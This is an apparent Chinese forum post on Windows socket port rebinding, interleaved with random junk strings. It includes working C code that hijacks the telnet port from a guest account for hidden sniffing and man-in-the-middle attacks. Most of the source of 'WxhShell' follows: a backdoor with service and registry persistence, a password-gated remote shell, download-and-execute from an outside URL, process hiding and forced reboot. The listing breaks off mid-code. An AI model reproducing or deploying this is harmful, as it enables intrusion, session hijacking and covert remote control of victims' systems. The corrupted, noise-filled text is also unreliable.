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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: E7A!,A&>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {=[>N>"  
e NIzI]~  
  saddr.sin_family = AF_INET; ]X>yZec  
l\s!A&L  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0ae8Xm3J@R  
Q>%n&;:  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); p +i 1sY  
W91yj:  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5X!-Hj  
kMQ /9~  
  这意味着什么?意味着可以进行如下的攻击: rz"$zc.)  
5YD~l(,S1]  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +Dy^4p?o  
NGc~%0n  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Z[. M>|  
o&q>[c  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 E]`7_dG+T  
uNzc,OH  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  p:4jY|q  
gN=.}$Kfu  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 G>V6{g2Q  
n"EKVw7Y  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @oAz  
SB\%"nnV  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 jn2=)KBa_  
A"V mxP  
  #include >c,s}HJ  
  #include 'Z`7/I4&  
  #include !K>iSF<  
  #include    KMRPleF  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =5+*TL`  
  int main() sasurR|;  
  { LCHMh6  
  WORD wVersionRequested; (wDE!H7  
  DWORD ret; `$T$483/  
  WSADATA wsaData; PE%$g\#?  
  BOOL val; 1)(>'pY  
  SOCKADDR_IN saddr; -* ,CMw  
  SOCKADDR_IN scaddr; !ZBtXt#P  
  int err; @[n#-!i  
  SOCKET s; 3$\k=q3`#  
  SOCKET sc; W'[V$*  
  int caddsize; 'h*jL@%TT  
  HANDLE mt; <gp?}Lk  
  DWORD tid;   X NJ4T]><  
  wVersionRequested = MAKEWORD( 2, 2 ); [*',pG  
  err = WSAStartup( wVersionRequested, &wsaData ); s6bsVAO>  
  if ( err != 0 ) { po*G`b;v  
  printf("error!WSAStartup failed!\n"); I^ ?tF'E  
  return -1; kU<t~+  
  } R+M&\ 5  
  saddr.sin_family = AF_INET; T D _@0Rd  
   A'|!O:s   
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9@ tp#  
Zl9@E;|=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0xB2  
  saddr.sin_port = htons(23); Qz~uD'Rs/  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) isZ5s\  
  { "D(Lp*3hj&  
  printf("error!socket failed!\n"); }|P3(*S  
  return -1; .hl_zc#  
  } |mb2<!ag{  
  val = TRUE; 7j]v_2S`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~e{ @5.g  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) L:G#>  
  { `%C-7D'?  
  printf("error!setsockopt failed!\n"); j_Szw w-  
  return -1; V'vR(Wx  
  } cr1x CPJj  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  ?%,NOX  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *G19fJ[5  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 m@4Dz|  
6\4-I^=B  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Y2H-D{a27  
  { r\Nfq(w  
  ret=GetLastError(); CXlbtpK2k  
  printf("error!bind failed!\n"); jj5S+ >4  
  return -1; EApKN@<"  
  } b^1QyX^?:  
  listen(s,2); eVXXn)>  
  while(1) F-yY(b]$  
  { ^#/FkEt7bp  
  caddsize = sizeof(scaddr); 3nxG>D7  
  //接受连接请求 v4P"|vZ$&  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); zCx4DN`  
  if(sc!=INVALID_SOCKET) f9De!"*&  
  { `Fy-"Uf  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (j: ptQ2$  
  if(mt==NULL) ^jdU4  
  { 'YL[s  
  printf("Thread Creat Failed!\n"); FwCb$yE#M  
  break; *3GV9'-P  
  } n>M`wF>  
  } Jup)m/  
  CloseHandle(mt); .Mt3e c<  
  } TktH28tK  
  closesocket(s); R@vcS=m7  
  WSACleanup(); kBu{ bxL  
  return 0; oaoTd$/5  
  }   /R)wM#&  
  DWORD WINAPI ClientThread(LPVOID lpParam) Tg\bpLk0=  
  { YDt+1Kw}D  
  SOCKET ss = (SOCKET)lpParam; y>^a~}Zq  
  SOCKET sc; G95,J/w  
  unsigned char buf[4096]; {Mx(|)WkL  
  SOCKADDR_IN saddr; 8K 3dwoT  
  long num; M([#Py9h  
  DWORD val; o96C^y{~S  
  DWORD ret; "W|A^@r}  
  //如果是隐藏端口应用的话,可以在此处加一些判断 n<I{x^!  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   d$dy6{/YD  
  saddr.sin_family = AF_INET; ahB qYA K9  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); sibYJKOy  
  saddr.sin_port = htons(23); ]-fkmnmWX  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %,$n^{v  
  { ?^}30V:E  
  printf("error!socket failed!\n"); TCtZ2 <'  
  return -1; %bW_,b  
  } {zdMmpQF  
  val = 100; c'2d+*[  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rqdwQ  
  { \@LTXH.  
  ret = GetLastError(); ^J!q>KJs  
  return -1; uV/5f#)  
  } V~J5x >O  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qQ&uU7,#  
  { Cs'LrUB?=U  
  ret = GetLastError();  N;7/C  
  return -1; `8:0x?X  
  } nwRltK  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7e/+C{3v  
  { [K!9xM6  
  printf("error!socket connect failed!\n"); Gr"CHz/  
  closesocket(sc); ?1e{\XW  
  closesocket(ss); ;JW_4;-  
  return -1; QTV*m>D  
  } .n-#A  
  while(1) y8Va>ul"U  
  { 7R+(3NU1A  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 6b|?@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 I.2J-pu}  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |{jT+  
  num = recv(ss,buf,4096,0); Jd2.j?P=  
  if(num>0) ~(5r+Z}*`  
  send(sc,buf,num,0); 2G8pDvBr  
  else if(num==0) e~'` x38  
  break; `?Rq44=  
  num = recv(sc,buf,4096,0); U$rMZk  
  if(num>0) .R9Z$Kbq  
  send(ss,buf,num,0); e|~MJu+1  
  else if(num==0) XR5KJl  
  break; 2iAC_"n  
  } 5E:$\z;  
  closesocket(ss); 5of3&  
  closesocket(sc); q}1ZuK`6  
  return 0 ; =W(*0"RM  
  } t>"%exdoZ  
sE1cvAw9l  
4ls:BO;k]  
========================================================== lW bu`y  
Dn- gP  
下边附上一个代码,,WXhSHELL "tK%]c d-  
p7?  
========================================================== &y[NC AeA  
K%(y<%Xp  
#include "stdafx.h" WWT1= #"  
5{Cz!ut;tE  
#include <stdio.h> uOxHa>h  
#include <string.h> PT"}2sR)  
#include <windows.h> }Q7y tE  
#include <winsock2.h> 4#U}bN  
#include <winsvc.h> 3Ob.OwA  
#include <urlmon.h> R[WiW RfD  
|"H 2'L$  
#pragma comment (lib, "Ws2_32.lib") 2wf&jGHs  
#pragma comment (lib, "urlmon.lib") 2[E wN!IZ  
<v"o+  
#define MAX_USER   100 // 最大客户端连接数 !e$gp (4  
#define BUF_SOCK   200 // sock buffer 3} A$+PX  
#define KEY_BUFF   255 // 输入 buffer / )0hsQs  
w =^.ICyb@  
#define REBOOT     0   // 重启 $YYWpeW '  
#define SHUTDOWN   1   // 关机 <hT\xBb:  
c :R?da  
#define DEF_PORT   5000 // 监听端口 J~YT~D 2L  
"gM^o  
#define REG_LEN     16   // 注册表键长度 >rnVT K  
#define SVC_LEN     80   // NT服务名长度 Z$oy;j99y  
|WS)KR !  
// 从dll定义API n*4`Tduu^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); FLZ9pb[T  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }D/+YG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); '\Xkvi  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  EM ,C  
MB plhVK8  
// wxhshell配置信息 "kg`TJf=  
struct WSCFG { 7#8Gn=g  
  int ws_port;         // 监听端口 =x~I'|%3  
  char ws_passstr[REG_LEN]; // 口令 pwUXM?$R  
  int ws_autoins;       // 安装标记, 1=yes 0=no eH&F gmU  
  char ws_regname[REG_LEN]; // 注册表键名 ^aFm6HS1  
  char ws_svcname[REG_LEN]; // 服务名 GW2\YU^{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 yMs!6c*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S0$^|/Sr  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Sb.8d]DW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :t?B)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }r}*=;Ea  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sFU< PgV  
=TB_|`5;j  
}; &H(yLd[  
xn8K OwX%  
// default Wxhshell configuration jU,Xlgz(A  
struct WSCFG wscfg={DEF_PORT, =8^+M1I  
    "xuhuanlingzhe", W{p}N  
    1, LiJYyp  
    "Wxhshell", 37AVk`a  
    "Wxhshell", 5>532X(0  
            "WxhShell Service", j;x()iZ<  
    "Wrsky Windows CmdShell Service", %E?Srs}j  
    "Please Input Your Password: ", 1/_g36\l$  
  1, K!|eN_1A  
  "http://www.wrsky.com/wxhshell.exe", VK}4 <u  
  "Wxhshell.exe" 8&<:(mAP  
    }; rTD+7 )E  
O"m7r ds  
// 消息定义模块 wjarQog5Y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =u~nLL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; p6M9uu  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; WhPP4 #  
char *msg_ws_ext="\n\rExit."; 'H1~Zhv  
char *msg_ws_end="\n\rQuit."; `y8pwWo-o  
char *msg_ws_boot="\n\rReboot..."; MqmQ52HR  
char *msg_ws_poff="\n\rShutdown..."; ;m/e|_4;y  
char *msg_ws_down="\n\rSave to "; O&%'j  
+ikSa8)*i  
char *msg_ws_err="\n\rErr!"; U,<m%C"  
char *msg_ws_ok="\n\rOK!"; l.YE@EL  
fHt\KP  
char ExeFile[MAX_PATH]; 'K[ml ?_  
int nUser = 0; bQ< qdGa  
HANDLE handles[MAX_USER]; <'y<8gpM  
int OsIsNt; }\4yU=JP K  
AGhenDN V  
SERVICE_STATUS       serviceStatus; *X5)9dq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Pz4#>tP  
6F\ 6,E  
// 函数声明 V&mkS  
int Install(void); I16FVdUun4  
int Uninstall(void); yR[6s#F/h  
int DownloadFile(char *sURL, SOCKET wsh); ]4:QqdV  
int Boot(int flag); ^z,3#gK  
void HideProc(void); uU  d"l,V  
int GetOsVer(void); dwj?;  
int Wxhshell(SOCKET wsl); rYUIFPN  
void TalkWithClient(void *cs); $H:!3 -/  
int CmdShell(SOCKET sock); S zo'[/ [R  
int StartFromService(void); 2a d|v]  
int StartWxhshell(LPSTR lpCmdLine); 2D\ pt  
~(kEGEF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); os V6=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); GT{4L]C  
+{UY9_~\3  
// 数据结构和表定义 "ubp`7%67  
SERVICE_TABLE_ENTRY DispatchTable[] = #~0Nk6*u  
{ L*z=!Dpo  
{wscfg.ws_svcname, NTServiceMain}, /$^Tou/v  
{NULL, NULL} ^F^g(|(K  
}; |r9<aVlK  
LI,wSTVjC  
// 自我安装 '/ Aq2  
int Install(void) @@d_F<Ym[  
{ y^2#;0W  
  char svExeFile[MAX_PATH]; qHt/,w='Q  
  HKEY key; VKa+[  
  strcpy(svExeFile,ExeFile); *d._H1zT  
 ?kjQ_K  
// 如果是win9x系统,修改注册表设为自启动 .7iRV  
if(!OsIsNt) { i_qY=*a?y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \w9}O2lL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WfPb7T  
  RegCloseKey(key); zJQh~)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;zCUx*{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S-t#d7'B  
  RegCloseKey(key); O'4G'H)   
  return 0; |)x7qy`  
    } Ek +R  
  } s$Vl">9#  
} 0U42QEG2  
else { @yp0WB  
$8^Hk xy  
// 如果是NT以上系统,安装为系统服务 /wD f,Hduz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bY_'B5$.^2  
if (schSCManager!=0) C'R9Nn'  
{ N0 {e7M  
  SC_HANDLE schService = CreateService *'@O o  
  ( *85N_+Wv!  
  schSCManager, z/t|'8f  
  wscfg.ws_svcname, <2U#U;  
  wscfg.ws_svcdisp, 7q0_lEh  
  SERVICE_ALL_ACCESS, dT| XcVKg  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .Fb#j+Lq  
  SERVICE_AUTO_START, J8i;E 4R  
  SERVICE_ERROR_NORMAL, vQWmHv\P  
  svExeFile, C qd\n#d/~  
  NULL, @9/I^Zk  
  NULL, PV68d; $:8  
  NULL, ki1(b]rf  
  NULL, x0j5D  
  NULL '9\cIni0  
  ); v9(5H Y  
  if (schService!=0) \Vc[/Qp7Bb  
  { rr# nBhh8  
  CloseServiceHandle(schService); 9r%fBiSk  
  CloseServiceHandle(schSCManager); "i&)+dr-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B{Q}^Mcxy  
  strcat(svExeFile,wscfg.ws_svcname); i/:L^SQAq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { PMjNc_))  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U[C>Aoze  
  RegCloseKey(key); <AgB"y@  
  return 0; M}] *j  
    } Yp\n=#$[  
  } 'LgRdtO6  
  CloseServiceHandle(schSCManager); A6(Do]M  
} Y?^liI`#  
} \'|n.1Fr  
Jr!^9i2j'  
return 1; t:wBh'K~R8  
} $dM_uSt  
i{$-[*WHiV  
// 自我卸载 [f+wP|NKL  
int Uninstall(void) K0w}l" )A  
{ =O}I{dNKZV  
  HKEY key; S:1[CNL;  
CPB{eQeDuv  
if(!OsIsNt) { u\LNJo| B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1$Hou   
  RegDeleteValue(key,wscfg.ws_regname); Q4XlYgIV2A  
  RegCloseKey(key); !*]i3 ,{7v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4DL;Y  
  RegDeleteValue(key,wscfg.ws_regname); }c G)$E  
  RegCloseKey(key); yaz6?,)  
  return 0; Yxq!7J  
  } ~n=DI/AJ@-  
} kcS7)"/ zC  
} i1evB9FZ1z  
else { ?LMQz=  
y._'o7%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dD,}i$  
if (schSCManager!=0) UL[,A+X8D  
{ j]Gn\QF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); KV0*dB;  
  if (schService!=0) k^ <]:B  
  { !wp1Df[  
  if(DeleteService(schService)!=0) {  Bx45yaT  
  CloseServiceHandle(schService); A]c'T T@6  
  CloseServiceHandle(schSCManager); bM?gAY]mB8  
  return 0; dN5{W0_  
  } 8N&' n  
  CloseServiceHandle(schService); 'T eH(?3G  
  } n/ KO{:  
  CloseServiceHandle(schSCManager); (d4btcg  
} x-i1:W9;  
} [8T{=+k  
Y`~B> J  
return 1; cWW?@ _  
} 8 a]'G)(ts  
sVx}(J  
// 从指定url下载文件 "_/ih1z]  
int DownloadFile(char *sURL, SOCKET wsh) fkI 5~Y|  
{ \'~ E%=Q  
  HRESULT hr; q7 PCMe  
char seps[]= "/"; Q`F1t  
char *token; k;\gYb%L  
char *file; *)K\&h<{  
char myURL[MAX_PATH]; 1L,L/sOwB&  
char myFILE[MAX_PATH]; R-%6v2;ry  
$0$sM/%  
strcpy(myURL,sURL); !Cgj >=  
  token=strtok(myURL,seps); um%_kX  
  while(token!=NULL) 5L3+KkX@  
  { ^PEw#.WG  
    file=token; "Z&.m..gc  
  token=strtok(NULL,seps); v,i|:;G  
  } 4jXo5SkEJ  
& /8Tth86  
GetCurrentDirectory(MAX_PATH,myFILE); gqS9{K(f  
strcat(myFILE, "\\"); 0+SDFh  
strcat(myFILE, file); tWn dAM(U7  
  send(wsh,myFILE,strlen(myFILE),0); a&>NuMDI  
send(wsh,"...",3,0); QIiy\E%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h0<PQZJ  
  if(hr==S_OK) ROFZ*@CH<  
return 0; xhP~]akHN7  
else ZiUb+;JA  
return 1; R;DU68R  
vRe{B7}p;  
} F! =l r  
+W4}&S  
// 系统电源模块 OZ\6qMH3e  
int Boot(int flag) #Hrzk!&9   
{ Mj;V.Y  
  HANDLE hToken; H,}&=SCk  
  TOKEN_PRIVILEGES tkp; W6<oy  
F! !HwI  
  if(OsIsNt) { >!Yuef <P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Cd*h4Q]S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); UDEGQ^)Xz|  
    tkp.PrivilegeCount = 1; Y,s EM%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f$dPDbZQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O cL7] b0  
if(flag==REBOOT) { [v~,|N>w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >._d2.Q'  
  return 0; Uxjc&o  
} -leX|U}k  
else { Q]9$dr=Kk0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?4':~;~  
  return 0; CyIlv0fd}  
} FMdu30JV  
  } ! AwMD  
  else { uG\~Hxqw7O  
if(flag==REBOOT) { *I 1H  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X%b1KG|#(  
  return 0; %mC@}  
} ny{C,1QG  
else { :7K a4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Et3]n$  
  return 0; /x49!8  
} 0j@mzd2  
} ;MN$.x+  
T >8P1p@A,  
return 1; iTHwH{!  
} c9+G Qp  
F'XQoZ* 1  
// win9x进程隐藏模块 rxyv+@~Nc  
void HideProc(void) vh\i ^  
{ ?W'z5'|  
nkHl;;WJ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !R8%C!=a  
  if ( hKernel != NULL ) R&|.Lvmc/  
  { MtJ-pa~n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :{a< ~n`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); g`pq*D  
    FreeLibrary(hKernel); mn@1&#c4y  
  } Ze V@ X  
S"!6]!~^  
return; ZN8j})lE  
} # `=Zc7gf  
`4*I1WZW  
// 获取操作系统版本 :UdW4N-  
int GetOsVer(void) _=$~l^Y[  
{ ,1ev2T  
  OSVERSIONINFO winfo; .RpJZ[E  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Xmr}$<<=  
  GetVersionEx(&winfo); MT/jpx  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {]>c3=~FQb  
  return 1; [S'1OR$FQ\  
  else Q:q0C  +T  
  return 0; TO Hz3=  
} %DSr@IX  
hi,=" /9  
// 客户端句柄模块 &>qUT]w  
int Wxhshell(SOCKET wsl) 7$<pdayd  
{ &m3-][ !n  
  SOCKET wsh; eDpi0htm  
  struct sockaddr_in client; htB7 j(  
  DWORD myID; +;W%v7 %<  
Gj?Zbl <  
  while(nUser<MAX_USER) =n,;S W  
{ R%.`h  
  int nSize=sizeof(client); U =J5lo  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (m3hD)!+y  
  if(wsh==INVALID_SOCKET) return 1; d.+*o  
PtkMzhX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \d"\7SA  
if(handles[nUser]==0) Zbnxs.i!  
  closesocket(wsh); 9p8ajlYg,  
else ^8&}Nk[j  
  nUser++; UC+Qn  
  } jV2H61d  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z 7@'I0;A  
nZioFE}  
  return 0; wNi%u{T  
} B?%u< F  
lfAy$qP"}  
// 关闭 socket $$ND]qM$M  
void CloseIt(SOCKET wsh) #ksDU  
{ $^Xxn.B9  
closesocket(wsh); ~);4O8~.  
nUser--; e]1=&:eX#d  
ExitThread(0); Owf!dMA;nF  
} W|2^yO,dX  
VV Q~;{L  
// 客户端请求句柄 Q+1ot,R  
void TalkWithClient(void *cs) 8fqabR  
{ wKpGJ& {  
=OK#5r[UV  
  SOCKET wsh=(SOCKET)cs;  ,t 2CQ  
  char pwd[SVC_LEN]; uUfw"*D  
  char cmd[KEY_BUFF]; Ij(dgY  
char chr[1]; XEiVs\) G  
int i,j; \ZRII<k5)  
()6% 1zCO  
  while (nUser < MAX_USER) { A'w+Lc.2  
"c[>>t  
if(wscfg.ws_passstr) { 4(\1z6?D  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6Y2,fW8i,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )?[2Y%P  
  //ZeroMemory(pwd,KEY_BUFF); "1s ]74  
      i=0; $2Wk#F2c=  
  while(i<SVC_LEN) { =\]gL%N-|  
w5z]=dN  
  // 设置超时 mRx `G(u:v  
  fd_set FdRead; ])?dqgwa  
  struct timeval TimeOut; B <s+I#  
  FD_ZERO(&FdRead); lB27Z}   
  FD_SET(wsh,&FdRead); c&T5C, ]  
  TimeOut.tv_sec=8; |6d:k~p  
  TimeOut.tv_usec=0; l]|&j`'O  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bpsyO>lx/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); G5qsnTxUJ  
Lx- %y'P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8nI~iN?"   
  pwd=chr[0]; [g}^{ $`  
  if(chr[0]==0xd || chr[0]==0xa) { N,w6  
  pwd=0; q<\r}1Dm  
  break; }F1Asn  
  } R}Zaz3( Hd  
  i++; ANPG3^w  
    } cPIyD?c  
L\ysy2E0  
  // 如果是非法用户,关闭 socket u|23M,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8!v|`Ky  
} `x=kb;  
DQhHU1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,;6%s>Cvd(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I&|8 qx#  
7eq.UyUxs  
while(1) { 3wN4kltt  
CH+%q+I  
  ZeroMemory(cmd,KEY_BUFF); hak#Iz0[C  
g{DOQA  
      // 自动支持客户端 telnet标准   =pe O %  
  j=0; 9I 6^-m@:  
  while(j<KEY_BUFF) { "^t7]=q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4oF,;o+v\4  
  cmd[j]=chr[0]; 36'J9h\  
  if(chr[0]==0xa || chr[0]==0xd) { rKPsv*w  
  cmd[j]=0; }c/#WA|b  
  break; QPVr:+\B{  
  } 8;=?F>]xn  
  j++; W=2.0QmW  
    } IF>v -Z  
? Zv5iI  
  // 下载文件 &/EZn xl  
  if(strstr(cmd,"http://")) { Uj 3{c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F4(;O7j9  
  if(DownloadFile(cmd,wsh)) N+SA$wG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [9?]|4  
  else iP7KM*ks  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e7G>'K  
  } /_fZ2$/  
  else { h<m>S,@g  
:%Z)u:~':  
    switch(cmd[0]) { 9F,XjPK=  
  yMNOjs'c {  
  // 帮助 j+< !4 0#  
  case '?': { 1slt[&4N  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y\!:/h]E&  
    break; ~l+~MB  
  } 0T3r#zQ  
  // 安装 >&<D.lx  
  case 'i': { ,_,7c or  
    if(Install()) z"5e3w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \i~5H]?d  
    else K~L"A]+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @TKQ_7BcB  
    break; 7({.kD6  
    } ?fs#K;w  
  // 卸载 #tPy0Q H  
  case 'r': { kH=~2rwm  
    if(Uninstall()) YVHDk7s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +&AU&2As  
    else tORDtMM9+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /9y'UKl7[  
    break; f2|On6/  
    }  4z|Yfvq  
  // 显示 wxhshell 所在路径 7Ph+Vs+h  
  case 'p': { `Geq,  
    char svExeFile[MAX_PATH]; d\z':d .Tt  
    strcpy(svExeFile,"\n\r"); 43J8PMY  
      strcat(svExeFile,ExeFile); }=3W(1cu-  
        send(wsh,svExeFile,strlen(svExeFile),0); p|Fhh\,*`X  
    break; G`!;RX  
    } A&'HlI% J  
  // 重启 F0NNS!WP7^  
  case 'b': { DA4!-\bt@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `~t$k7wm=  
    if(Boot(REBOOT)) Pb D|7IM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qj|B #dU  
    else { E{9{%J  
    closesocket(wsh); YpZ 9h@,  
    ExitThread(0); 4d'tK^X  
    } Q;$/&Y*  
    break; ZoC?9=k  
    } Df/f&;`  
  // 关机 Q^V`%+  
